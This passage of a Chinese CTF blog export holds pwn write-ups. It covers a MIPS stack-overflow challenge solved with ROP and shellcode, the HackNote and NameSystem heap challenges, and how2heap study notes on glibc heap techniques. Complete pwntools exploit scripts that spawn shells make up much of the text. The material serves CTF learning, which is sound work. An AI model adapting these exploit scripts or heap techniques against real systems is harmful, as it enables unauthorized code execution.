src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127211049.png" style="zoom: 33%;" /></p><h5 id="qemu虚拟机上外网"><a href="#qemu虚拟机上外网" class="headerlink" title="qemu虚拟机上外网"></a>qemu虚拟机上外网</h5><pre><code>sudo brctl addbr virbr0# 添加一座名为 virbr0 的网桥sudo ifconfig virbr0 192.168.122.1/24 upsudo tunctl -t tap0 # 创建一个 tap0 接口sudo ifconfig tap0 192.168.122.11/24 up sudo brctl addif virbr0 tap0 # 在虚拟网桥中增加一个 tap0 接口#上面是配置qemu虚拟机和主机通信 如果前面配置过了这里就不用重复配置了#安装工具apt-get install bridge-utils # 虚拟网桥工具apt-get install uml-utilities # UML(User-mode linux)工具#配置ens33和tap0为虚拟网桥virbr0的两个接口sudo ifconfig ens33 down #ens33是网卡名称(能上网的那张) 关闭宿主机网卡接口sudo brctl addif virbr0 ens33 # 在 virbr0 中添加ens33作为接口sudo brctl stp virbr0 off # 如果只有一个网桥,则关闭生成树协议sudo brctl setfd virbr0 1 #转发延迟sudo brctl sethello virbr0 1 #hello 时间sudo ifconfig virbr0 0.0.0.0 promisc up #启用 virbr0 接口sudo ifconfig ens33 0.0.0.0 promisc up# 启用网卡接口sudo dhclient virbr0 # 从 dhcp 服务器获得 virbr0 的 IP 地址sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口#brctl show virbr0 # 查看虚拟网桥列表brctl showstp virbr0 # 查看 virbr0 的各接口信息</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200128164453.png"></p><pre><code>#启动下载的镜像sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic</code></pre><p>-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,并且指定了网卡接口名称(就是刚才创建的 tap0,相当于把虚拟机接入网桥)。</p><p>参考博客:<a href="https://wzt.ac.cn/2019/09/10/QEMU-networking/">https://wzt.ac.cn/2019/09/10/QEMU-networking/</a></p><h3 id="qemu用户模式"><a href="#qemu用户模式" class="headerlink" title="qemu用户模式"></a>qemu用户模式</h3><h4 id="运行题目程序-1"><a href="#运行题目程序-1" class="headerlink" title="运行题目程序"></a>运行题目程序</h4><pre><code>sudo chroot . ./qemu-mipsel-static ./pwn2qemu-mipsel -L . ./pwn2./qemu-mipsel-static -L . ./pwn2</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127181930.png"></p><h4 id="和python交互-1"><a href="#和python交互-1" class="headerlink" title="和python交互"></a>和python交互</h4><pre><code>socat tcp-l:9999,fork exec:"sudo chroot . ./qemu-mipsel-static ./pwn2"</code></pre><h4 id="调试-1"><a href="#调试-1" class="headerlink" title="调试"></a>调试</h4><pre><code>sudo chroot . ./qemu-mipsel-static -g 12345 ./pwn2qemu-mipsel -L . -g 12345 ./pwn2</code></pre><pre><code>gdb-multiarch pwn2set arch mipsset endian littletarget remote ip:12345</code></pre><p>![image-20200517013946771](/Users/apple/Library/Application Support/typora-user-images/image-20200517013946771.png)</p><h3 id="交叉编译"><a href="#交叉编译" class="headerlink" title="交叉编译"></a>交叉编译</h3><h4 id="理论"><a href="#理论" class="headerlink" title="理论"></a>理论</h4><p><a href="https://blog.csdn.net/ajianyingxiaoqinghan/article/details/70917569">https://blog.csdn.net/ajianyingxiaoqinghan/article/details/70917569</a></p><h4 id="现成的工具"><a href="#现成的工具" class="headerlink" title="现成的工具"></a>现成的工具</h4><p><a href="https://www.uclibc.org/downloads/binaries/0.9.30.1/">https://www.uclibc.org/downloads/binaries/0.9.30.1/</a></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127175408.png"></p><h4 id="自己下载编译"><a href="#自己下载编译" class="headerlink" title="自己下载编译"></a>自己下载编译</h4><p>以下内容来自于博客<a href="https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#%E9%85%8D%E7%BD%AEmips%E8%99%9A%E6%8B%9F%E6%9C%BA">https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#%E9%85%8D%E7%BD%AEmips%E8%99%9A%E6%8B%9F%E6%9C%BA</a></p><ol><li><p>下载buildroot</p><pre><code class="C">wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2tar -jxvf buildroot-snapshot.tar.bz2cd buildroot</code></pre></li><li><p>配置buildroot</p><pre><code class="C">sudo apt-get install libncurses-dev patchmake cleanmake menuconfig</code></pre><p>在出现界面后,选择第一项“Target Architecture”,改成MIPS(little endian),另外,选择“Toolchain”,务必将“Kernel Headers”的Linux版本改成你自己主机的Linux版本(因为我们编译出的MIPS交叉工具是需要在我们的主机上运行的)</p><p>像我做的这样:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200126205631.png"></p></li><li><p>安装</p><pre><code class="C">sudo apt-get install texinfosudo apt-get install bisonsudo apt-get install flexsudo make</code></pre><p>经过约一小时,编译完成后,在buildroot文件夹下多了一个output文件夹,其中就是编译好的文件,可以在buildroot/output/host/usr/bin找到生成的交叉编译工具,编译器是该目录下的mips-linux-gcc文件。</p></li><li><p>配置环境变量,使得可以直接使用命令编译文件。</p><pre><code class="C">gedit ~/.bashrcexport PATH=$PATH:/Your_Path/buildroot/output/host/usr/binsource ~/.bashrc</code></pre></li></ol><h3 id="终于开始做题了"><a href="#终于开始做题了" class="headerlink" title="终于开始做题了"></a>终于开始做题了</h3><h4 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h4><p>什么保护都没开。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127215121.png"></p><p>首先看main函数,问你名字是啥,你的名字大小为0x14个字节。虽然这个代码看起来很奇怪吧,但是这个fd=0表示标准输入什么的都是相通的。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127213519.png"></p><p>问完就进到了这个vuln函数里,有个栈溢出在这里。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127214349.png"></p><h4 id="ROP利用"><a href="#ROP利用" class="headerlink" title="ROP利用"></a>ROP利用</h4><p>应该可以弄一个shellcode。如果是普通的题,可以jmp esp,但我没找着。网上唯一的解是ROP,所以我也跟着那个试了试ROP。思路是先泄露read,再构造<code>system('/bin/sh')</code>,<code>'/bin/sh'</code>是在libc里找的,这里就和基础的pwn一毛一样了。自己写的脚本:</p><pre><code class="python">from pwn import *context.log_level = 'debug'libc=ELF("./lib/libc.so.0")elf = ELF('./pwn2')io = remote("192.168.3.26", 8080)s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)ru("What's your name: \n")sl("fuyeqi")sleep(0.2)r()#leak gotj2s2_s1a0=0x004007A8#gadgetj_s3210=0x004006C8main=0x00400820c=''c+='\x31'*0x24c+=p32(j_s3210)c+='\x31'*0x1cc+=p32(1111)#s0c+=p32(elf.got['read'])#s1c+=p32(0x0040092C)#s2c+=p32(1111)#s3c+=p32(j2s2_s1a0)#ra printf(elf.got['read'])c+='\x20'*0x20 c+=p32(0x400750) #执行到 0x00400800 lw $gp, 0x40+var_30($fp)时,$fp+0x10需要可读sl(c)#libcbaseread_addr=u32(r()[0:4])libc.address=read_addr-libc.symbols['read']#getshellc=''c+='\x31'*0x24c+=p32(j_s3210)c+='\x31'*0x1cc+=p32(1111)#s0c+=p32(libc.search('/bin/sh').next())#s1c+=p32(libc.symbols['system'])#s2c+=p32(1111)#s3c+=p32(j2s2_s1a0)#rasl(c)io.interactive()</code></pre><p>成功获取shell。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200129114904.png"></p><h4 id="ROP-shellcode"><a href="#ROP-shellcode" class="headerlink" title="ROP+shellcode"></a>ROP+shellcode</h4><p><a href="https://blog.csdn.net/seaaseesa/article/details/105281585">https://blog.csdn.net/seaaseesa/article/details/105281585</a></p><pre><code>#coding:utf8from pwn import *#由于不知道uclibc版本,所以,我们利用栈迁移,在bss段布下shellcode执行即可#sh = process(argv=['qemu-mipsel','-g','6666','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])#sh = process(argv=['qemu-mipsel','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])sh = remote('node3.buuoj.cn',27820)bss = 0x410B70text_read = 0x4007E0sh.sendafter("What's your name:","haivk")shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')#ret2shellcodepayload = 'a'*0x20#fppayload += p32(bss + 0x200 - 0x40 + 0x28)#调用read向bss段输入shellcode,然后ret到bss段payload += p32(text_read)sh.send(payload)sleep(1)payload = 'a'*0x24#rapayload += p32(bss + 0x200 + 0x28)payload += shellcodesh.send(payload)sh.interactive()</code></pre><h4 id="栈迁移-ISCC-baby-mips"><a href="#栈迁移-ISCC-baby-mips" class="headerlink" title="栈迁移 ISCC baby_mips"></a>栈迁移 ISCC baby_mips</h4><p>溢出只能覆盖到$fp(相当于ebp)。</p><pre><code>from pwn import *from struct import pack,unpack,calcsizecontext.log_level = 'debug'#libc=ELF("./libc.so.0")elf = ELF('./baby_mips')backdoor = 0x00400690bss_name = 0x004923B0io = remote("101.200.240.241",7030)s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)ru("What's your name?\n")sl('1'*0x1c+pack("<I",backdoor))ru("YaLeYaLeDaZe?(yaleyale/kotowalu)\n")s('1'*8+pack("<I",bss_name))io.interactive()</code></pre><h3 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h3><p>调试的时候发现一个问题:gdb调试mips架构的时候,会把$fp认成$s8。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200517024657.png"></p><p>本场比赛一共四道pwn题</p><p>做出来的题:</p><ul><li>一个堆题,跟之前做的某个题特别像。当时写的wp:利用格式化字符串漏洞泄露libc,构造overlap修改 global_max_fast ,然后就可以fastbinattack改 malloc hook 拿shell,但因为有大小限制,所以需要自己在 malloc hook 前填一个size位。</li><li>一个32位格式化字符串盲注,当时写的wp:先确定格式化字符串漏洞的偏移是8,dump出全部的程序后构造exp,利用方法是先泄露read的got表地址,然后改sprintf的got表地址为onegadget拿shell。</li></ul><p>未做出来的题:</p><ul><li>一个64位格式化字符串盲注,因为菜,所以时间不够。</li><li>这篇博客写的mips</li></ul>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>湖湘杯 wp</title>
<link href="huxiang-wp/"/>
<url>huxiang-wp/</url>
<content type="html"><![CDATA[<p>历时12h,两道pwn。比赛如何不评价,默默做题。</p><h2 id="HackNote"><a href="#HackNote" class="headerlink" title="HackNote"></a>HackNote</h2><p>题目有add、delete、edit</p><p>啥保护也没开,有问题</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191110235209.png"></p><p>edit里平白无故多算一次size,很有问题,可以构造<code>off by 好几个</code></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191110233655.png"></p><p>此外这题的难点还在于这题是静态编译的,shellcode不知道往哪写,我一开始找了几个静态的地方,等我想调用它的时候吧,内容就变了。反正后来就随便找到一40的size位就用上了,是<code>IOFILE</code>前面的地方。</p><pre><code class="python">from pwn import *context.log_level = 'debug'context(arch = 'amd64', os = 'linux')shellcode=asm(shellcraft.sh())debug=1if debug==0: io = remote() elf=ELF("./HackNote")elif debug==1: io = process("./HackNote") elf=ELF("./HackNote")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)def add(size,content): ru('-----------------\n') sl(1) ru('Input the Size:\n') sl(size) ru('Input the Note:\n') s(content)def delete(i):#once ru('-----------------\n') sl(2) ru('Input the Index of Note:\n') sl(i)def edit(i,content): ru('-----------------\n') sl(3) ru('Input the Index of Note:\n') sl(i) ru('Input the Note:\n') s(content)add(0x88,"0"*0x88)edit(0,"0"*0x88)add(0x40-8,"1"*0x38)edit(1,"1"*0x38)add(0x88,"2"*0x88)edit(2,"2"*0x88)add(0x88,"3"*0x88)edit(3,"3"*0x88)add(0x88,"4"*0x88)edit(4,"4"*0x88)delete(0)#overlapedit(2,"2"*0x80+p64(0x90+0x40+0x90)+'\x90\n')delete(3)delete(1)c=''c+="0"*0x88c+=p64(0x40+1)scaddr=0x006cb0c0-0x26-8c+=p64(scaddr)#shellcode addrc+='\n'add(0x90+0x40+0x90+0x90-8,c)#0add(0x40-8,'\n')#1add(0x40-8,shellcode+'\n')#3delete(1)c=''c+="0"*0x88c+=p64(0x41)c+=p64(0x6cb788-0x10+2-8)#malloc hookc+='\n'edit(0,c)add(0x40-8,'\n')#1add(0x40-8,'\x00'*6+p64(scaddr+0x10)+'\n')#3#getshellru('-----------------\n')sl(1) ru('Input the Size:\n')sl(0x20)io.interactive()</code></pre><h2 id="NameSystem"><a href="#NameSystem" class="headerlink" title="NameSystem"></a>NameSystem</h2><p>功能有add、drop</p><p>add有大小限制[0x10,0x60]</p><p>drop有一个逻辑漏洞,当我有20个name的时候,我随便drop一个,第18和第19个会指向同一个地址(从0开始数)。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20191111003823.png"></p><p>利用方法是改got表。首先把free改成puts,同时伪造一个name的地址为一个函数的got表地址,泄露libc;然后把free改成system,执行system(‘/bin/sh’)。</p><p>此外,题目里可用的size位只有0x60和0x70,我做的时候用了2个现成的size位<code>fastbin attack</code>泄露了地址之后就不知道该咋做了,赛后听了学弟的思路,可以提前写好一个size位用来构造第三个fastbin,tcml,以前也做过构造size位的题,但就是没想到哎:P</p><pre><code class="python">from pwn import *from LibcSearcher import *context.log_level = 'debug'context(arch = 'amd64', os = 'linux')debug=1if debug==0: io = remote()elif debug==1: io = process("./NameSystem")elf = ELF("./NameSystem")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)def add(size,name): ru("Your choice :\n")#[10,60] sl(1) ru('Name Size:') sl(size) ru('Name:') sl(name)def drop(i): ru("Your choice :\n") sl(3) ru('The id you want to delete:') sl(i)for i in range(18): add(0x10,"1"*1)#0x70 double freeadd(0x60,"1"*10)add(0x60,"1"*10)drop(0)drop(0)drop(19)drop(16)drop(17)#0x60 doublefreeadd(0x60-8,"1"*10)add(0x60-8,"1"*10)add(0x60-8,"1"*10)drop(0)drop(0)drop(19)drop(16)drop(17)#0x50 doublefreeadd(0x50-8,"1"*10)add(0x50-8,"1"*10)add(0x50-8,"1"*10)drop(0)drop(0)drop(19)drop(16)drop(17)#rangweifor i in range(8): drop(0)#free->putsadd(0x60-8,p64(0x602000-6))add(0x60-8,'1')add(0x60-8,'1')add(0x60-8,p64(0x50)+'\x00'*6+elf.plt['puts'])[0:6])#a name's address ->got[atoi]add(0x60,p64(0x6020a0-0x13))add(0x60,'1')add(0x60,'1')add(0x60,'\x00'*3+p64(elf.got['atoi']))#leak libc :puts got[atoi]drop(0)atoi_addr=u64(ru('\n').ljust(8,'\x00'))log.info(hex(atoi_addr))searcher=LibcSearcher("atoi",int(atoi_addr))base=atoi_addr-searcher.dump('atoi')#free->systemadd(0x50-8,p64(0x602002))add(0x50-8,'/bin/sh\x00')add(0x50-8,'1')add(0x50-8,'\x00'*6+p64(base+searcher.dump('system'))[0:6])#getshelldrop(17)io.interactive()</code></pre><p>还有很长的路要走…</p><h2 id=""><a href="#" class="headerlink" title=""></a></h2>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>how2heap学习小结</title>
<link href="how2heap/"/>
<url>how2heap/</url>
<content type="html"><![CDATA[<p>本文是自己的一点心得,没有特别地总结整理。</p><h3 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h3><p>找了半天编译的方法,结果突然发现文件夹里有个Makefile,一键make就全编译了,我觉得我就是个<code>憨憨</code>。</p><h3 id="first-fit"><a href="#first-fit" class="headerlink" title="first_fit"></a>first_fit</h3><p><code>char* a = malloc(512);</code> 经过对齐后 chunk size 为 0x210</p><p><code>free(a); </code>后块a被放到 unsorted_bins 中</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9xaWlxLTEyNTg4ODc2MjUuY29zLmFwLWNoZW5nZHUubXlxY2xvdWQuY29tLzIwMTkwODE1MTYxMzUxLnBuZw?x-oss-process=image/format,png"></p><p>执行 <code>c = malloc(500);</code> (500+8)经过16字节对齐后 chunk size 为 0x200 ,此时small bins是空的,就从unsorted bins中找,找到了大小为0x210的块a。而0x210 的块切割后剩下的块大小为0x10,小于MINSIZE(0x20),所以不切直接分配。</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9xaWlxLTEyNTg4ODc2MjUuY29zLmFwLWNoZW5nZHUubXlxY2xvdWQuY29tLzIwMTkwODE1MTYxNTU2LnBuZw?x-oss-process=image/format,png"></p><p>然后自己测试了一下</p><ol><li><p><code>c = malloc(512-0x20+8);</code>需要的 chunk size 为 0x190 ,对齐后还是0x190,切割后留下的0x20就放在unsorted bins里了。</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9xaWlxLTEyNTg4ODc2MjUuY29zLmFwLWNoZW5nZHUubXlxY2xvdWQuY29tLzIwMTkwODE1MTY0MTUyLnBuZw?x-oss-process=image/format,png"></p></li><li><p><code>c = malloc(512-0x20+9);</code> 对齐后为 0x200 ,就不切了。</p></li></ol><h3 id="fastbin-dup"><a href="#fastbin-dup" class="headerlink" title="fastbin_dup"></a>fastbin_dup</h3><p>fastbin,double free<br>fastbin free的时候只检查了和bin相连的块和当前free的块地址相不相同</p><h3 id="fastbin-dup-into-stack"><a href="#fastbin-dup-into-stack" class="headerlink" title="fastbin_dup_into_stack"></a>fastbin_dup_into_stack</h3><p>在栈里构造一个块,使得该块的size满足可更改fd的chunk所在的bin的idx,就可将该伪造的块放入该bin,得以分配。<br>fd改为其他的值会报错<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9xaWlxLTEyNTg4ODc2MjUuY29zLmFwLWNoZW5nZHUubXlxY2xvdWQuY29tLzIwMTkwODE4MTY1MDQ1LnBuZw?x-oss-process=image/format,png"></p><pre><code> *d = (unsigned long long) (((char*)(&stack_var)) - 8);</code></pre><p>报错是因为</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9xaWlxLTEyNTg4ODc2MjUuY29zLmFwLWNoZW5nZHUubXlxY2xvdWQuY29tLzIwMTkwOTAzMTUxNDI2LnBuZw?x-oss-process=image/format,png"></p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9xaWlxLTEyNTg4ODc2MjUuY29zLmFwLWNoZW5nZHUubXlxY2xvdWQuY29tLzIwMTkwOTAzMTUxOTEyLnBuZw?x-oss-process=image/format,png"></p><p>也就是说分配的时候会根据块size计算 idx ,并和块所在 fastbin 的 idx 进行比较,如果不对就报错</p><p>试着在data段分配一个堆块</p><p><img src="https://img-blog.csdnimg.cn/20190929212507323.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"></p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9xaWlxLTEyNTg4ODc2MjUuY29zLmFwLWNoZW5nZHUubXlxY2xvdWQuY29tLzIwMTkwOTAzMTUzOTQyLnBuZw?x-oss-process=image/format,png"></p><p>| <a href="glibc_2.25/fastbin_dup_into_stack.c">fastbin_dup_into_stack.c</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | <a href="https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine">9447-search-engine</a>, <a href="http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html">0ctf 2017-babyheap</a> |</p><h3 id="fastbin-dup-consolidate"><a href="#fastbin-dup-consolidate" class="headerlink" title="fastbin_dup_consolidate"></a>fastbin_dup_consolidate</h3><p><code>malloc_consolidate</code>这个函数的作用就是将fastbin合并后置入unsorted bin,一般调用的情况有以下几种:</p><pre><code>1. malloc的大小在smallbin范围内,若对应的smallbin没初始化的时候。2. malloc的size大于small bin的范围,先调用malloc_consolidate将fastbin 合并为unsorted bin(本例的情况,再free一次,就可以在fastbin和unsortedbin中拥有同一个块)3. top chunk不够空间4. free某chunk时,该chunk合并前后空闲块后的大小超过了fastbin的收缩阈值(FASTBIN_CONSOLIDATION_THRESHOLD 也就是65536 0x10000)。(一般与top合并时会触发)</code></pre><p>同时有下面两点需要注意的:</p><pre><code>1. malloc_consolidate在合并fastbin的过程中没有对其size进行校验(House of Rabbit)2. malloc_consolidate将合并后生成的chunk插入到unsorted bin头部</code></pre><p>参考资料:<a href="https://ch4r1l3.github.io/2019/01/22/malloc-consolidate%E8%B0%83%E7%94%A8%E6%9D%A1%E4%BB%B6/">https://ch4r1l3.github.io/2019/01/22/malloc-consolidate调用条件/</a></p><p> <a href="glibc_2.25/fastbin_dup_consolidate.c">fastbin_dup_consolidate.c</a> | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and unsorted bin freelist. | latest | <a href="https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder">Hitcon 2016 SleepyHolder</a> |</p><h3 id="unsafe-unlink"><a href="#unsafe-unlink" class="headerlink" title="unsafe_unlink"></a>unsafe_unlink</h3><p>看 ctfwiki<br>| <a href="glibc_2.26/unsafe_unlink.c">unsafe_unlink.c</a> | Exploiting free on a corrupted chunk to get arbitrary write. | < 2.26 | <a href="http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/">HITCON CTF 2014-stkof</a>, <a href="https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a">Insomni’hack 2017-Wheel of Robots</a> |</p><h3 id="house-of-spirit"><a href="#house-of-spirit" class="headerlink" title="house_of_spirit"></a>house_of_spirit</h3><p>先初始化内存<code>malloc(1);</code><br>不可控内存的前后内存可控的话,构造:</p><pre><code>1. 块的size在fastbin范围内2. nextchunk的size > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena)没找到system_mem在哪,亲测0x21000-8可,0x21000不可3. The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n")</code></pre><p>free该块即可将当前块放入fastbin。</p><p>| <a href="glibc_2.25/house_of_spirit.c">house_of_spirit.c</a> | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | <a href="https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo">hack.lu CTF 2014-OREO</a> |</p><h3 id="poison-null-byte"><a href="#poison-null-byte" class="headerlink" title="poison_null_byte"></a>poison_null_byte</h3><p>需要构造的点:</p><pre><code>P是size被null的块,Q是P的nextchunk1. chunksize(P) == prev_size (next_chunk(P)) 这个size是offbyone后的size,next_chunk是根据P的size算的,prev_size (next_chunk(P)) 可以自己伪造为offbyone后的size(因为offbyone后的size一定<=原始size)2.分割P为块A和B3.free A,free Q,A和Q会 consolidate, B就被overlap了 free的时候 - 检查前一个chunk空闲吗(检查本块的prev_inuse) - 检查后一个是不是top chunk - 检查后一个chunk空闲吗(nextinuse = inuse_bit_at_offset(nextchunk, nextsize);)</code></pre><p>利用的点就在于free Q的时候,没有检查 prev_size(Q) == chunksize(pre_chunk(Q))<br>glibc2.23检查还没那么严格,不检查chunksize( p ) != prevsize)<br><img src="https://img-blog.csdnimg.cn/20191015193932305.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"><br>2.29是要检查的了(我看的在线版是2.29而已),这个利用方法就失效了。<br><img src="https://img-blog.csdnimg.cn/20191015182545197.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzM1MDg4MA==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"><br>| <a href="glibc_2.25/poison_null_byte.c">poison_null_byte.c</a> | Exploiting a single null byte overflow. | < 2.26 | <a href="https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb">PlaidCTF 2015-plaiddb</a> |</p><h3 id="house-of-lore-small-bin"><a href="#house-of-lore-small-bin" class="headerlink" title="house_of_lore(small bin)"></a>house_of_lore(small bin)</h3><p>可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的 fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。<br>具体看ctfwiki吧<br>| <a href="glibc_2.26/house_of_lore.c">house_of_lore.c</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist. | < 2.26 | |</p><h3 id="overlapping-chunks(更改块大小)"><a href="#overlapping-chunks(更改块大小)" class="headerlink" title="overlapping_chunks(更改块大小)"></a>overlapping_chunks(更改块大小)</h3><p>A|B|C<br>A的size改为A+B的size<br>free(A)<br>malloc(sizeof(A+B)) 即可overlap B<br>| <a href="glibc_2.26/overlapping_chunks.c">overlapping_chunks.c</a> | Exploit the overwrite of a freed chunk size in the unsorted bin in order to make a new allocation overlap with an existing chunk | < 2.26 | <a href="https://github.com/ctfs/write-ups-2015/tree/master/hack-lu-ctf-2015/exploiting/bookstore">hack.lu CTF 2015-bookstore</a>, <a href="https://github.com/ctfs/write-ups-2016/tree/master/nuitduhack-quals-2016/exploit-me/night-deamonic-heap-400">Nuit du Hack 2016-night-deamonic-heap</a> |</p><h3 id="overlapping-chunks-2(向高地址合并)"><a href="#overlapping-chunks-2(向高地址合并)" class="headerlink" title="overlapping_chunks_2(向高地址合并)"></a>overlapping_chunks_2(向高地址合并)</h3><p>不考虑和top合并, 块均非fastbin<br>A|B|C<br>A的size改为A+B的size<br>free( C )<br>free( A )<br>malloc(A+B+C)<br>B就被overlap了<br>| <a href="glibc_2.25/overlapping_chunks_2.c">overlapping_chunks_2.c</a> | Exploit the overwrite of an in use chunk size in order to make a new allocation overlap with an existing chunk | latest | |</p><h3 id="house-of-force-top-chunk"><a href="#house-of-force-top-chunk" class="headerlink" title="house_of_force(top chunk)"></a>house_of_force(top chunk)</h3><p>前提:</p><pre><code>能够以溢出等方式控制到 top chunk 的 size 域能够自由地控制堆分配尺寸的大小</code></pre><p>例子中把top chunk的size设为-1 (0xffffffff),然后<code>malloc(需控制的地址-0x10-top的地址-0x8)</code>:例子中需控制的地址在bss段上(heap低地址处),因此malloc的是个负数。top被分配后指向了需控制的地址-0x10的位置,然后再从top里分配一次就可以任意地址写了。<br>| <a href="glibc_2.25/house_of_force.c">house_of_force.c</a> | Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer | < 2.29 | <a href="https://github.com/ctfs/write-ups-2016/tree/master/boston-key-party-2016/pwn/cookbook-6">Boston Key Party 2016-cookbook</a>, <a href="https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200">BCTF 2016-bcloud</a> |</p><h3 id="unsorted-bin-into-stack"><a href="#unsorted-bin-into-stack" class="headerlink" title="unsorted_bin_into_stack"></a>unsorted_bin_into_stack</h3><p>构造:</p><pre><code>1. free块a(size为y)到unsortd bin,修改a->bk为栈中地址 stack_buffer2. 构造栈中块的size z、构造bk里存放的是一个可写的地址(比较苛刻,很难找到这两者同时满足的块) stack_buffer[1] = 0x100 + 0x10; stack_buffer[3] = (intptr_t)(stack_buffer+10);3. malloc(z)即可在栈中的块任意写。</code></pre><p>| <a href="glibc_2.26/unsorted_bin_into_stack.c">unsorted_bin_into_stack.c</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to return a nearly-arbitrary pointer. | < 2.26 | |</p><h3 id="unsorted-bin-attack"><a href="#unsorted-bin-attack" class="headerlink" title="unsorted_bin_attack"></a>unsorted_bin_attack</h3><p>把要取出的unsorted chunk的bk改为[global_max_fast]-0x10,就可以将一个很大的值(unsorted bin的头地址 )写到global_max_fast。</p><ul><li>覆盖了chunk的fd也没关系,因为根本没用上</li><li>改了之后unsorted bin头的bk指向了[global_max_fast]-0x10,再插入 chunk 时,可能会出现问题,但这时候块都变成fastbin了,所以一般也没啥问题(我觉得)</li><li>没有<code>bck->fd != victim</code>检查才行</li></ul><p>| <a 